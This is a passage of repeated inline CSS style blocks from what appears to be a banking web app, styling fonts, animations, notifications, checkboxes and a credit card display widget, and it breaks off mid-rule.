@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.error-message {
text-align: center;
margin-bottom: 20px; }
.error-message .error-container {
display: flex;
flex-direction: column;
align-items: center; }
.error-message .error-container .error-icon {
margin-bottom: 39px; }
.error-message .error-container .error-text {
font-family: NunitoSans-Regular;
font-size: 13px;
color: #416179;
line-height: 18px;
text-align: center;
margin-bottom: 14px; }
.error-message .button {
width: 100%;
height: 40px; }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.no-data-container {
display: flex;
flex-direction: column;
align-items: center; }
.no-data-container .no-data-icon {
margin-bottom: 16px; }
.no-data-container .no-data-text {
font-family: NunitoSans-Regular;
font-size: 12px;
color: #416179;
line-height: 16px;
text-align: center;
width: 180px; }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.card-footer-link {
font-family: NunitoSans-SemiBold;
font-size: 14px;
line-height: 19px;
text-align: center; }
.card-footer-link a {
color: #18a0fb;
text-decoration: underline transparent;
-webkit-transition: 250ms;
-moz-transition: 250ms;
-ms-transition: 250ms;
-o-transition: 250ms;
transition: 250ms; }
.card-footer-link a:hover {
text-decoration: underline; }
@media (max-width: 720px) {
.card-footer-link a:hover {
text-decoration: underline transparent; } }
.card-footer-link label {
cursor: pointer;
color: #18a0fb;
-webkit-transition: 250ms;
-moz-transition: 250ms;
-ms-transition: 250ms;
-o-transition: 250ms;
transition: 250ms;
text-decoration: underline transparent; }
.card-footer-link label:hover {
text-decoration: underline; }
@media (max-width: 720px) {
.card-footer-link label:hover {
text-decoration: underline transparent; } }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.notification {
display: flex;
border-radius: 8px;
font-size: 16px;
line-height: 22px;
font-family: NunitoSans-Regular;
color: #122e43;
max-height: 1000px;
-webkit-transition-property: transform, all;
-moz-transition-property: transform, all;
-ms-transition-property: transform, all;
-o-transition-property: transform, all;
transition-property: transform, all;
-webkit-transition-duration: 0.5s;
-moz-transition-duration: 0.5s;
-ms-transition-duration: 0.5s;
-o-transition-duration: 0.5s;
transition-duration: 0.5s;
-webkit-transition-timing-function: ease-in;
-moz-transition-timing-function: ease-in;
-ms-transition-timing-function: ease-in;
-o-transition-timing-function: ease-in;
transition-timing-function: ease-in; }
.notification--close {
max-height: 0;
overflow: hidden;
-webkit-transition-duration: 0.5s;
-moz-transition-duration: 0.5s;
-ms-transition-duration: 0.5s;
-o-transition-duration: 0.5s;
transition-duration: 0.5s;
-webkit-transition-timing-function: ease-out;
-moz-transition-timing-function: ease-out;
-ms-transition-timing-function: ease-out;
-o-transition-timing-function: ease-out;
transition-timing-function: ease-out; }
.notification--information {
background-color: #E7F1FF;
border-left: 8px solid #126EFF; }
.notification--success {
background-color: #E6F7EA;
border-left: 8px solid #00B02A; }
.notification--warning {
background-color: #FFFBF5;
border-left: 8px solid #feb638; }
.notification--error {
background-color: #f9e7eb;
border-left: 8px solid #ff4858; }
.notification .img-container {
width: 24px;
margin-right: 16px;
margin-left: 16px; }
.notification .title-container {
font-family: NunitoSans-Bold;
font-size: 16px;
line-height: 22px;
margin-bottom: 16px; }
.notification .text-container {
align-items: center;
line-height: 22px; }
.notification .more-info-container div,
.notification .more-info-container a {
text-decoration: none;
cursor: pointer;
align-content: center;
display: flex;
margin-top: 16px;
white-space: nowrap;
color: inherit; }
.notification .more-info-container div .more-info-label,
.notification .more-info-container a .more-info-label {
cursor: pointer;
margin-right: 4px;
font-family: NunitoSans-Bold;
font-size: 16px;
line-height: 22px; }
.notification .more-info-container--information {
color: #126EFF; }
.notification .more-info-container--success {
color: #00B02A; }
.notification .more-info-container--warning {
color: #9F690B; }
.notification .more-info-container--error {
color: #ff4858; }
.notification .more-info-container-with-title {
margin-bottom: 16px; }
.notification .close-container {
width: 32px;
margin-left: 16px; }
.notification .close-container img {
cursor: pointer; }
.notification--toast {
padding: 16px 16px 16px 0px;
width: 388px; }
@media (max-width: 727px) {
.notification--toast {
width: 100%; } }
.notification--toast .toast-middle-section-no-icon {
margin-left: 16px; }
@media (max-width: 727px) {
.notification--toast .close-container {
margin-left: auto;
margin-right: 0px;
display: flex;
align-items: flex-start;
justify-content: flex-end; } }
.notification--banner {
padding: 16px 16px 16px 0px;
align-items: center;
min-width: fit-content; }
.notification--banner .img-container {
display: flex; }
.notification--banner .banner-middle-section {
display: flex;
align-items: center; }
.notification--banner .banner-middle-section .title-container {
margin-bottom: 0px;
margin-right: 16px;
white-space: nowrap; }
.notification--banner .banner-middle-section-no-icon {
margin-left: 16px; }
.notification--banner .banner-middle-section-show-more-info {
margin-right: 24px; }
.notification--banner .banner-end-section {
margin-left: auto;
display: flex; }
.notification--banner .banner-end-section .more-info-container div,
.notification--banner .banner-end-section .more-info-container a {
align-items: center;
margin-top: 0px; }
.notification--banner .banner-end-section .close-container {
align-items: center;
justify-content: center;
display: flex; }
.notification-with-title {
padding-top: 24px; }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.check {
width: 20px;
height: 20px;
position: relative; }
.check input[type="checkbox"] {
width: 20px;
height: 20px;
visibility: hidden; }
.check .check__label {
width: 20px;
height: 20px;
border-radius: 4px;
position: absolute;
box-sizing: border-box;
cursor: pointer;
left: 0;
top: 0;
display: flex;
justify-content: center;
align-items: center;
-webkit-transition: 0.3s;
-moz-transition: 0.3s;
-ms-transition: 0.3s;
-o-transition: 0.3s;
transition: 0.3s; }
.check .check__label.check--default {
border: 1px solid #cbd4dc;
background-color: #f8f9fb; }
.check .check__label.check--default.checked {
background-color: #ff7a02;
border: 1px solid #ff7a02; }
.check .check__label.check--default.disabled {
cursor: no-drop;
border: 1px solid #d0d5d9; }
.check .check__label.check--paris {
border: 1px solid #cbd4dc;
background-color: #f8f9fb; }
.check .check__label.check--paris.checked {
background-color: #009ce0;
border: 1px solid #009ce0; }
.check .check__label.check--paris.disabled {
cursor: no-drop;
border: 1px solid #d0d5d9; }
.check .check__label .check__icon {
width: 8px;
height: 8px;
-webkit-user-select: none;
-moz-user-select: none;
-ms-user-select: none;
user-select: none; }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.main-credit-card-info {
width: 100%;
height: 578px;
max-width: 462px; }
.main-credit-card-info.desktop-animation {
overflow: hidden; }
.main-credit-card-info .main-creditcard {
display: flex;
justify-content: center;
max-width: 100%;
height: 87px;
-webkit-transition: all 1s;
-moz-transition: all 1s;
-ms-transition: all 1s;
-o-transition: all 1s;
transition: all 1s; }
.main-credit-card-info .main-creditcard.translate {
-webkit-transform: translateY(204px);
-moz-transform: translateY(204px);
-ms-transform: translateY(204px);
-o-transform: translateY(204px);
transform: translateY(204px); }
.main-credit-card-info .main-creditcard.translate-transition {
-webkit-transform: translateY(214px);
-moz-transform: translateY(214px);
-ms-transform: translateY(214px);
-o-transform: translateY(214px);
transform: translateY(214px); }
.main-credit-card-info .main-creditcard .creditcard__img {
min-height: 578px;
width: 322px;
background-repeat: no-repeat;
background-size: contain; }
.main-credit-card-info .main-creditcard .creditcard__img .show-card-data {
position: absolute;
width: 151px;
height: 28px;
background: #122e43;
border-radius: 16px;
font-size: 10px;
line-height: 16px;
display: flex;
align-items: center;
color: #ffffff;
font-weight: bold;
margin-top: 21px;
margin-left: 257px;
cursor: pointer;
-webkit-transition: all 0.5s;
-moz-transition: all 0.5s;
-ms-transition: all 0.5s;
-o-transition: all 0.5s;
transition: all 0.5s; }
.main-credit-card-info .main-creditcard .creditcard__img .show-card-data img {
margin: 6px 4px 6px 8px; }
.main-credit-card-info .main-creditcard .creditcard__img .show-card-data.hidden {
display: none; }
.main-credit-card-info .main-creditcard .creditcard__img .show-card-data.show {
-webkit-transform: translateX(500px);
-moz-transform: translateX(500px);
-ms-transform: translateX(500px);
-o-transform: translateX(500px);
transform: translateX(500px);
overflow: hidden; }
.main-credit-card-info .main-creditcard .creditcard__img .creditcard__data {
font-family: Nunito-Regular;
padding: 132px 0 0 41px; }
.main-credit-card-info .main-creditcard .creditcard__img .creditcard__data .creditcard__client-name {
font-size: 18px;
line-height: 25px; }
.main-credit-card-info .main-creditcard .creditcard__img .creditcard__data .creditcard__number {
font-size: 18px;
line-height: 25px;
font-family: Nunito-Bold;
margin-top: 118px; }
.main-credit-card-info .main-creditcard .creditcard__img .creditcard__data .creditcard__row {
display: flex;
flex-direction: row;
font-size: 14px;
line-height: 19px;
margin-top: 10px;
justify-content: center; }
.main-credit-card-info .main-creditcard .creditcard__img .creditcard__data .creditcard__row span {
font-size: 10px;
line-height: 14px;
margin-left: 22px; }
.main-credit-card-info .main-creditcard .creditcard__img .creditcard__data--black {
color: #000000; }
.main-credit-card-info .main-creditcard .creditcard__img .creditcard__data--white {
color: #ffffff; }
.main-credit-card-info .main-creditcard .creditcard__img .creditcard__data--petroleum {
color: #122e43; }
.main-credit-card-info .main-creditcard.card-small {
display: flex;
justify-content: center;
max-width: 100%;
height: 87px;
-webkit-transition: all 0.5s;
-moz-transition: all 0.5s;
-ms-transition: all 0.5s;
-o-transition: all 0.5s;
transition: all 0.5s; }
.main-credit-card-info .main-creditcard.card-small.translate {
-webkit-transform: translateY(204px);
-moz-transform: translateY(204px);
-ms-transform: translateY(204px);
-o-transform: translateY(204px);
transform: translateY(204px); }
.main-credit-card-info .main-creditcard.card-small.translate-transition {
-webkit-transform: translateY(214px);
-moz-transform: translateY(214px);
-ms-transform: translateY(214px);
-o-transform: translateY(214px);
transform: translateY(214px); }
.main-credit-card-info .main-creditcard.card-small.translate-transition-up {
-webkit-transform: translateY(-30px);
-moz-transform: translateY(-30px);
-ms-transform: translateY(-30px);
-o-transform: translateY(-30px);
transform: translateY(-30px); }
.main-credit-card-info .main-creditcard.card-small.scale .creditcard__img {
width: 438px;
-webkit-transition: 0.4s;
-moz-transition: 0.4s;
-ms-transition: 0.4s;
-o-transition: 0.4s;
transition: 0.4s; }
.main-credit-card-info .main-creditcard.card-small.scale .creditcard__img .creditcard__data {
-webkit-transition: 0.4s;
-moz-transition: 0.4s;
-ms-transition: 0.4s;
-o-transition: 0.4s;
transition: 0.4s;
padding: 95px 0 0 35px; }
.main-credit-card-info .main-creditcard.card-small.scale .creditcard__img .creditcard__data .creditcard__number-client .creditcard__name-expire {
-webkit-transition: 0.4s;
-moz-transition: 0.4s;
-ms-transition: 0.4s;
-o-transition: 0.4s;
transition: 0.4s;
margin-top: 50px; }
.main-credit-card-info .main-creditcard.card-small .creditcard__img {
min-height: 578px;
width: 354px;
background-repeat: no-repeat;
background-size: contain;
-webkit-transition: 0.4s;
-moz-transition: 0.4s;
-ms-transition: 0.4s;
-o-transition: 0.4s;
transition: 0.4s; }
.main-credit-card-info .main-creditcard.card-small .creditcard__img .show-card-data {
position: absolute;
width: 151px;
height: 28px;
background: #122e43;
border-radius: 16px;
font-size: 10px;
line-height: 16px;
display: flex;
align-items: center;
color: #ffffff;
font-weight: bold;
margin-top: 21px;
margin-left: 257px;
cursor: pointer;
